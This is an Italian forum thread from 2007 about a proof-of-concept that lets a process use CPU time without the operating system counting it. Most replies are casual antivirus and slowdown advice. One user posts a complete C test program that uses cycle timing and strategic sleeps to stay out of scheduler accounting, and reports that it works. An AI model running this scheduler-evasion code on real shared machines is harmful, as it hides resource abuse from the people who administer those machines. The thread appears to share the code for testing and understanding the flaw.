View Full Version : Il sistema rallenta? Colpa di un malware nascosto
Redazione di Hardware Upg
12-07-2007, 13:39
Link alla notizia: http://www.hwupgrade.it/news/sicurezza/21934.html
Un proof-of-concept mostra come possa essere utilizzata la cpu per eseguire del codice, potenzialmente malevolo, con privilegi user level
Click sul link per visualizzare la notizia.
come si può eliminare un malware del genere?
ho zonealarm ma ho questo problema!
DevilsAdvocate
12-07-2007, 14:04
E' un poco tutta da ridere, il 90% degli utenti linux tiene karamba o le gdesklet
o gkrellm sul desktop dal quale vede effetivamente quanta è l'occupazione del processore.
(che non darà il nome del processo,ma mostra senza dubbio se c'è
un simile malware nel pc).....
DevilsAdvocate
12-07-2007, 14:07
come si può eliminare un malware del genere?
ho zonealarm ma ho questo problema!
Qua si fa riferimento a sistemi Linux e MacOSX, benchè essendo questo
trucchetto dovuto ad un'istruzione della cpu non è da escludere che
si possa sfruttare sotto windows.
Se ti rallenta il windows prova a :
1- rimuovere il norton
2- rimuovere spyware/malware/trojans
3- usare un programmino di pulizia del registro
4- formattare
EDIT: leggendo meglio il proof-of-concept sembra indirizzato pure a windows, non a MacOSX
(immagini in cima alla pagina 4).
Mister24
12-07-2007, 14:12
come si può eliminare un malware del genere?
ho zonealarm ma ho questo problema!
Si parla di "proof of concept" cioè di un prototipo quindi è impossibile che tu abbia questo maleware.
su mac osx certe porcate girano
black-m01
12-07-2007, 14:21
"Il documento fa riferimento a sistemi Unix, solo Mac OS X pare essere immune, ma in linea di principio la minaccia è estendibile a tutti i sistemi operativi multitasking più recenti."
Errato, lo scheduler CFS del kernel Linux serve esattamente anche a prevenire questa possibilità. Precisando, volendo bloccare una macchina con Mac OS X, è sufficiente agire sul sottosistema della memoria virtuale: ogni operazione di pesante input/output congela il sistema operativo.
Mr.Gamer
12-07-2007, 14:21
beh niente è sicuro, anche halo 2/shadowrun "necessitano" di directx10, finche non arrivano un gruppo di cracker che modificano 2 file e *magicamente* le dx10 non servono più.
se quest'idea è venuta a qualcun'altro in mente prima del proof-of-concept, ci potrebbero essere malware in giro
Kenny Rullo
12-07-2007, 14:27
Se ti rallenta il windows prova a :
1- rimuovere il norton
2- rimuovere spyware/malware/trojans
3- usare un programmino di pulizia del registro
4- formattare
Io riscriverei la tua citazione in
1- rimuovere spyware/malware/trojans/norton
2- usare un programmino di pulizia del registro
3- formattare
:D :D :D
Nel mio precedente pc con winxp avevo un problema piuttosto curioso: un processo scvhost.exe monopolizzava la cpu per lunghi periodi di tempo, soprattutto appena avviato e casualmente durante l'esecuzione con decisi cali di prestazioni. Se killavo quel processo non mi funzionava più l'audio. Credevo che fossero i driver della scheda audio appunto ma anche aggiornandoli non cambiava nulla. Li ho addirittura rimossi lasciando la periferica non attiva ma ciccia.
Alla fine scoprii che era il processo di windows update a crearmi tutti sti casini. Pensavo che usando fastweb con la storia dell'ip privato / ip pubblico gli automatic updates avessero problemi a trovare il server MS e andassero in loop ma me l'hanno escluso categoricamente.
In buona sostanza, ho disattivato gli aggiornamenti automatici e tutto è andato liscio. Oggi anche in virtualizzazione su parallels gli autoupdates li mantengo disabilitati e ogni martedì vado a dare un occhio a manina:Prrr:
ilsensine
12-07-2007, 14:29
Errato, lo scheduler CFS del kernel Linux serve esattamente anche a prevenire questa possibilità
Vediamo, il CFS è molto recente.
Ricordo che la "feature" era già stata segnalata sulla lkml in un contesto scorrelato -- un task che inseriva delle sleep "stategiche" riusciva ad ottenere un bonus dal s/o anche quando non ne aveva diritto.
DevilsAdvocate
12-07-2007, 14:30
beh niente è sicuro, anche halo 2/shadowrun "necessitano" di directx10, finche non arrivano un gruppo di cracker che modificano 2 file e *magicamente* le dx10 non servono più.
se quest'idea è venuta a qualcun'altro in mente prima del proof-of-concept, ci potrebbero essere malware in giro
Prima che si scateni il panico collettivo: se usate Karamba/gdesklets/gkrellm
o desklets e la vostra cpu sta sotto al 10-15% quando non lanciate
programmi o che, allora siete al sicuro...
Per quanto riguarda il CFS: questo proof-of concept sembra un poco vecchiotto,
tra i sistemi operativi non nomina neppure Vista....
AnonimoVeneziano
12-07-2007, 14:45
Io riscriverei la tua citazione in
1- rimuovere spyware/malware/trojans/norton
2- usare un programmino di pulizia del registro
3- formattare
:D :D :D
Personalmente io riscriverei :
Io riscriverei la tua citazione in
1- rimuovere spyware/malware/trojans
2- usare un programmino di pulizia del registro
3- formattare
Dove "spyware/malware/trojans" è un sinonimo di Norton :p
Mister24
12-07-2007, 14:51
Personalmente io riscriverei :
Io riscriverei la tua citazione in
1- rimuovere spyware/malware/trojans
2- usare un programmino di pulizia del registro
3- formattare
Dove "spyware/malware/trojans" è un sinonimo di Norton :p
Tanto per continuare il "io scriverei così": :D
Ma cosa servono i punti 1 e 2 se tanto bisogna formattare?
Io consiglierei dopo la formattazione un antivirus leggero come antivir.
Imho è il migliore anche tra quelli a pagamento.
ilsensine
12-07-2007, 14:52
Prima che si scateni il panico collettivo: se usate Karamba/gdesklets/gkrellm
o desklets e la vostra cpu sta sotto al 10-15% quando non lanciate
programmi o che, allora siete al sicuro...
No, il tempo "rubato" sparisce anche dal conteggio globale di sistema.
nuclearstrenght
12-07-2007, 14:53
mumble mumble
questo proof-of-concept in pratica dimostra un malware che si inserisce tra un cambio e l'altro di task e ne fà eseguire uno tra i due, ho capito bene?
come mai non è visualizzabile da top allora?
dove sta il task che si attiva tra un ciclo e l'altro nel frattempo?
non dovrebbe essere comunque visualizzato da top et similia ma a tempo di cpu = 0?
oppure si genera da solo alla fine di un ciclo e si distrugge all'inizio del successivo? da qualche parte dovrebbe comunque stare quindi scansione della ram e via no?
prima di linciarmi sappiate che io non studio SO o similari, faccio tutt'altro e non sò scrivere neanche una linea di codice ma l'informatica è la mia passione mancata (nel senso che non ho potuto studiarla come avrei voluto)
AnonimoVeneziano
12-07-2007, 14:54
Tanto per continuare il "io scriverei così": :D
Ma cosa servono i punti 1 e 2 se tanto bisogna formattare?
Io consiglierei dopo la formattazione un antivirus leggero come antivir.
Imho è il migliore anche tra quelli a pagamento.
Beh, è un ordine di prove da fare. Non devi farle tutte, se al punto 2 già il sistema è tornato normale non c'è necessità di passare al 3° :p
Se ti rallenta il windows prova a :
1- rimuovere il norton
2- rimuovere spyware/malware/trojans
3- usare un programmino di pulizia del registro
4- formattare
Dopo aver rimosso virus e aver pulito il registro dovrebbe formattare?
Io partirei dal punto 4 direttamente no? E nn reinstallerei Norton AntiWindows!
black-m01
12-07-2007, 14:57
ilsensine:
Ciao! Il Completely Fair Scheduler di Ingo non è stato scritto "from scratch", ma "ispirato" dal lavoro di Con Kolivas, che per anni ha mantenuto il proprio Staircase Deadline scheduler al di fuori del ramo ufficiale. (Ma visto che segui lkml saprai già della battaglia tra seguaci religiosi dell'uno e dell'altro) :)
Non è che avresti un piccolo link a quel metodo che hai menzionato? E' decisamente interessante. Anche se sembra sfruttare un particolare bug di logica di uno scheduler in particolare.
DevilsAdvocate:
Se non si nomina un sistema operativo della Microsoft in un test di sicurezza informatica, è perché si danno per scontati certi risultati. :) (Scherzo)
Studio vecchiotto? Perché dici? Mi sembra di aver letto si tratti dello Usenix 2007.
Comunque se avete le gdesklets ed il vostro uso di CPU è sotto il 15%, fate qualcosa, avete qualche problema nel rilevamento. :D
Prima che si scateni il panico collettivo: se usate Karamba/gdesklets/gkrellm
o desklets e la vostra cpu sta sotto al 10-15% quando non lanciate
programmi o che, allora siete al sicuro...
E invece no, se leggi tutto il paper noteresti che uno degli obiettivi (riuscito) è quello di nascondere il processo in modo da non vedere l'occupazione.
E comunque è il sistema operativo che fa calcola l'occupazione di CPU, pertanto se il sistema operativo è imbrogliato non può fornire un'indicazione precisa in merito. Pertanto i vari karamba/gdesklets/gkrellm e compagnia bella non possono fornire alcuna informazione attendibile.
Il brutto (o bello dipende dai punti di vista) di questo paper è che mette in evidenza come sia possibile realizzare un processo che usa risorse senza che sia possibile capire che sta usando le risorse. Questo significa che un processo così fatto può usare il pc fuori dal controllo dell'utente proprietario, e questa cosa va fuori i vari spyware/malware etc etc e va anche fuori i vari discorsi di user e super user.
Tanto per capirci qualcuno potrebbe realizzare e vendere un prodotto spacciandolo per rivoluzionario in termini di occupazione di CPU perché il SO mostra che occupa l'1%!!!
Se non c'è Windows è solo perchè queste tecniche sono decisamente TROPPO AVANZATE. Per Win basta molto meno :D
(alla faccia di chi dice che Vista è l'OS più sicuro al mondo. certo, usando firefox ed tutti altri programmi o.s....si arriva alla decenza. E lo dico da utente windows (perchè la ati x700 mobile sotto linux mi dà problemi assurdi))
ilsensine
12-07-2007, 15:04
Non è che avresti un piccolo link a quel metodo che hai menzionato?
Quale metodo?
Anche se sembra sfruttare un particolare bug di logica di uno scheduler in particolare.
Ho il sospetto che non sia un "bug", ma - come si dice in questi casi :D - una "feature".
Il fatto che il conteggio del tempo occupato sia aggirato ha sorpreso anche me; secondo l'articolo, ciò avviene in quanto il conteggio viene effettuato in termini di "timeslice" e non in termini di tempo assoluto. Forse rileggere il tempo preciso ad ogni task switch è troppo costoso -- non so altro mi spiace :boh:
So solo che ho fatto poco fa delle verifiche (su un 2.6.20), ed effettivamente riesco a creare un cpu hog senza che il sistema se ne accorga. Se qualcuno ha il CFS in esecuzione possiamo vedere cosa succede...
black-m01
12-07-2007, 15:16
ilsensine:
Ciò che non capisco è il modo in cui il sistema operativo possa mettere in esecuzione un proprio processo, senza tenerne traccia, nella durata e nella quantità di timeslices, dato che deve comunque essere il kernel anche in questo strano caso a dare e togliere il controllo di esecuzione al processo.
Già, probabilmente il tenere traccia del tempo effettivo è eccessivamente pesante... (possibile soluzione... invece di includere istruzioni inutili nei processori, potrebbero inserire un timer gestibile dal sistema operativo? Mah... non è proprio il mio campo :) )
Ciò cui mi riferivo, era il metodo per cui:
"Ricordo che la "feature" era già stata segnalata sulla lkml in un contesto scorrelato -- un task che inseriva delle sleep "stategiche" riusciva ad ottenere un bonus dal s/o anche quando non ne aveva diritto."
Ma farò le mie ricerche quando avrò tempo, grazie mille! :D
ilsensine
12-07-2007, 15:23
Ciò cui mi riferivo, era il metodo per cui:
"Ricordo che la "feature" era già stata segnalata sulla lkml in un contesto scorrelato -- un task che inseriva delle sleep "stategiche" riusciva ad ottenere un bonus dal s/o anche quando non ne aveva diritto."
Ma farò le mie ricerche quando avrò tempo, grazie mille! :D
Ricordo una discussione, di diversi mesi fa, dove si riportava di un processo che, grazie a delle sleep "strategiche", riusciva a sottrarre risorse ai processi realmente interattivi (ad es. X)
DevilsAdvocate
12-07-2007, 15:28
No, il tempo "rubato" sparisce anche dal conteggio globale di sistema.
Che si possa scomparire da Top è concepibile, ma il tempo globale del sistema
non viene effettuato come la somma di processi in top, bensì
dovrebbe essere ottenuto conteggiando per quanto tempo (sul tempo
totale) la cpu sta in idle, cioè quanto tempo viene eseguito halt.
Almeno così dovrebbe essere, e se è fatto in questo modo non c'è
programma che tenga, hai voglia a fare proof of concepts...
P.S.: visto che hai trovato il modo di fare un cpu hog, prova a testarlo coi classici
sensori di karamba, gdesklets o gkrellm...
SpyroTSK
12-07-2007, 15:35
mumble mumble
questo proof-of-concept in pratica dimostra un malware che si inserisce tra un cambio e l'altro di task e ne fà eseguire uno tra i due, ho capito bene?
come mai non è visualizzabile da top allora?
dove sta il task che si attiva tra un ciclo e l'altro nel frattempo?
non dovrebbe essere comunque visualizzato da top et similia ma a tempo di cpu = 0?
oppure si genera da solo alla fine di un ciclo e si distrugge all'inizio del successivo? da qualche parte dovrebbe comunque stare quindi scansione della ram e via no?
prima di linciarmi sappiate che io non studio SO o similari, faccio tutt'altro e non sò scrivere neanche una linea di codice ma l'informatica è la mia passione mancata (nel senso che non ho potuto studiarla come avrei voluto)
dubito che si si riesca a lanciare un qualsiasi software con la cpu al 100% fissa come in quel caso, molto probabilmente freeza tutto.
DevilsAdvocate
12-07-2007, 15:36
dubito che si si riesca a lanciare un qualsiasi software con la cpu al 100% fissa come in quel caso, molto probabilmente freeza tutto.
In teoria proprio perchè ad ogni interrupt quel malware si freeza, non raggiungerà mai il 100%, anzi direi che lavora alla priorità minima (in background), o che il carico sul processore
possa venire "modulato"...
ilsensine
12-07-2007, 17:05
Per chi vuole fare dei test, questo è il programma di test che ho usato:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/time.h>
#include <time.h>
#include <sched.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/wait.h>
typedef unsigned long long cycle_t;
struct timespec zero = {0, 0};
#define MAX_CNT (4000000000LL)
#define __NR_HOG 2
volatile bool do_exit = false;
void terminator(int unused)
{
do_exit = true;
}
inline cycle_t get_cycles()
{
cycle_t ret;
#if defined(__x86_64__)
cycle_t ret2;
asm volatile("rdtsc" : "=a"(ret), "=d"(ret2));
return (ret2<<32) | (ret & 0xffffffff);
#else
asm volatile("rdtsc" : "=A"(ret));
return ret;
#endif
}
cycle_t cycles_per_tick()
{
nanosleep(&zero, 0);
fprintf(stderr, "Calibrating cycles...\n");
cycle_t start = get_cycles();
for (int i=0; i<1000; ++i)
nanosleep(&zero, 0);
cycle_t end = get_cycles();
cycle_t ret = (end - start)/1000;
fprintf(stderr, "cycles per tick: %lld\n", ret);
return ret;
}
void cheat_attack(int fraction)
{
struct timeval start, stop;
unsigned long long cnt = 0;
gettimeofday(&start, NULL);
cycle_t work, tick_start, now;
work = ((fraction * cycles_per_tick())/100);
tick_start = get_cycles();
while (!do_exit) {
now = get_cycles();
if ((now - tick_start)>=work) {
if (fraction!=0)
nanosleep(&zero, 0);
tick_start = get_cycles();
}
for (volatile int z=0; z<10000; ++z) {
++cnt;
}
if (cnt>=MAX_CNT)
break;
}
gettimeofday(&stop, NULL);
long long u1 = start.tv_sec*1000000LL+start.tv_usec;
long long u2 = stop.tv_sec*1000000LL+stop.tv_usec;
if (fraction==0)
printf("<%d> [cpu hog]", getpid());
else
printf("<%d> [thief %d%%]", getpid(), fraction);
printf(" inc/millisec=%lld\n", (cnt*1000)/(u2-u1));
}
void set_affinity()
{
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set)<0)
perror("sched_setaffinity");
}
int main(int argc, char **argv)
{
int f = -1;
bool single = false;
pid_t childs[__NR_HOG];
if (argc>1)
f = atoi(argv[1]);
if (argc>2)
single = atoi(argv[2])!=0;
if (f<0 || f>100) {
fprintf(stderr, "%s <0..100>\n", argv[0]);
return -1;
}
set_affinity();
signal(SIGUSR1, terminator);
if (!single) {
fprintf(stderr, "<%d> Lancio in backgroung %d cpu hog per la comparazione\n", getpid(), __NR_HOG);
char cmd[4096];
sprintf(cmd, "%s 0 1", argv[0]);
for (int n=0; n<__NR_HOG; ++n) {
childs[n] = fork();
if (childs[n]==0) {
execl(argv[0], argv[0], "0", "1", NULL);
perror("execl");
exit(-1);
}
}
fprintf(stderr, "<%d> Utilizzo ora solo il %d%% del timeslice\n", getpid(), f);
} else {
if (f==0)
fprintf(stderr, "<%d> cpu hog lanciato\n", getpid());
else
fprintf(stderr, "<%d> cpu thief (%d%%) lanciato", getpid(), f);
}
cheat_attack(f);
if (!single) {
for (int n=0; n<__NR_HOG; ++n)
kill(childs[n], SIGUSR1);
for (int n=0; n<__NR_HOG; ++n)
waitpid(childs[n], NULL, 0);
}
return 0;
}
Eseguito a 32 bit (su kernel a 64 bit), il "ladro" ha praticamente sottratto tutte le risorse ai cpu hog; a 64 bit la situazione è più bilanciata.
share_it
12-07-2007, 17:05
su linux si può limitare il tempo di cpu di un utente, problema risolto.
ilsensine
12-07-2007, 17:11
su linux si può limitare il tempo di cpu di un utente, problema risolto.
no; leggi il pdf.
Che si possa scomparire da Top è concepibile, ma il tempo globale del sistema
non viene effettuato come la somma di processi in top, bensì
dovrebbe essere ottenuto conteggiando per quanto tempo (sul tempo
totale) la cpu sta in idle, cioè quanto tempo viene eseguito halt.
Almeno così dovrebbe essere, e se è fatto in questo modo non c'è
programma che tenga, hai voglia a fare proof of concepts...
P.S.: visto che hai trovato il modo di fare un cpu hog, prova a testarlo coi classici
sensori di karamba, gdesklets o gkrellm...
Vero, a meno che in realtà il sistema operativo sia convito che la CPU sia in idle quando in realtà sta eseguendo il codice del malware... sarebbe possibile una cosa del genere?
Ciao. :)
+Benito+
12-07-2007, 18:12
a quelli che all'avvio il pc stalla e a volte stalla durante le normali operazioni,a volte anche un minuto, consiglio di provare a disabilitare in Strumenti di amministrazione>servizi>aggiornamenti automatici, può essere quello.
Io riscriverei la tua citazione in
1- rimuovere spyware/malware/trojans/norton
2- usare un programmino di pulizia del registro
3- formattare
:D :D :D
Nel mio precedente pc con winxp avevo un problema piuttosto curioso: un processo scvhost.exe monopolizzava la cpu per lunghi periodi di tempo, soprattutto appena avviato e casualmente durante l'esecuzione con decisi cali di prestazioni. Se killavo quel processo non mi funzionava più l'audio. Credevo che fossero i driver della scheda audio appunto ma anche aggiornandoli non cambiava nulla. Li ho addirittura rimossi lasciando la periferica non attiva ma ciccia.
Alla fine scoprii che era il processo di windows update a crearmi tutti sti casini. Pensavo che usando fastweb con la storia dell'ip privato / ip pubblico gli automatic updates avessero problemi a trovare il server MS e andassero in loop ma me l'hanno escluso categoricamente.
In buona sostanza, ho disattivato gli aggiornamenti automatici e tutto è andato liscio. Oggi anche in virtualizzazione su parallels gli autoupdates li mantengo disabilitati e ogni martedì vado a dare un occhio a manina:Prrr:
io come voi consiglio: se il sitema rallenta e si ha norton, fai una bella formattazione visto che per togliero è un impresa! :D
su mac osx certe porcate girano
ah si? e da quando?
L'articolo tra l'altro dice pure che osx è immune da questo proof
:rolleyes:
hardstyler
13-07-2007, 09:10
se hai zonealarm toglielo!!! io avevo solo il firewall e rallentava di brutto, avevo la suite completa ed era ancora peggio, avevo il firewall outpost e addirittura mi riavviava il pc e poi aveva il coraggio di lamentarsi, avevo le suite norton intere e mai più le ho installate perchè sono pesanti come quelle zonealarm, mcaffee e tanti altri, proteggono per tutto direi ma sono improponibili e non ho di certo un celeron da 1 ghz...e neanche poca ram. L'unico OTTIMO COMPROMESSO L'HO TROVATO CON L'ANTIVIR PE FREE E IL FIREWALL FREE COMODO CHE TRA L'ALTRO E' PURE OTTIMO. MACCHINA MOLTO LEGGERA E VIA. PER QUANTO RIGUARDA GLI SPYWARE E ALTRO OGNI TANTO FACCIO UNA SCANSIONE CON ADAWARE. Prima di pensare: oddio ho la macchina lenta e quindi ho qualche porcheria, controllare prima che programmi si usano, e in particolare a che firewall si sta usando!!! Per quanto riguarda l'antivirus chi dice che il norton rallenta il pc è vero ma io ce l'ho da sempre e la macchina non E' MAI RALLENTATA COME QUANDO AVEVO INSTALLATO UNA SUITE COMPLETA CHE SIA NORTON, MCAFEE, ZONEALARM O PEGGIO ANCORA CON I SINGOLI FIREWALL INSTALLATI OLTRE AL NORTON ANTIVURS ATTIVO. Se avete norton antivirs e vi trovate bene tenetevelo ma cambiate il firewall in qualcosa di più leggero che non necessariamente significa non sia efficiente. Se invece siete tipi da SOLUZIONI TUTTO INCLUSO allora non saprei cosa dirvi ma di certo non fate affidamento a suite mcaffee, zonealarm, nè norton perchè sono estremamente pesanti!
S.Ferretti
13-07-2007, 13:20
Io e la mia fidata compagna Debian non abbiamo paura :D
frankcil
14-07-2007, 12:12
comunque, dopo anni di esperienza, se volete essere attualmente protetti al 99,9% da virus e spyware o quant'altro installate i seguenti programmi:
- Nod32 (antivirus)
- Noadware 5.0 (antyspyware) in automatico all'avvio
- Sygate profesional (firewall)
con questa configurazione non rallentate assolutamente il computer poichè sono programmi leggeri ma validi.
Provare per credere
vBulletin® v3.6.4, Copyright ©2000-2025, Jelsoft Enterprises Ltd.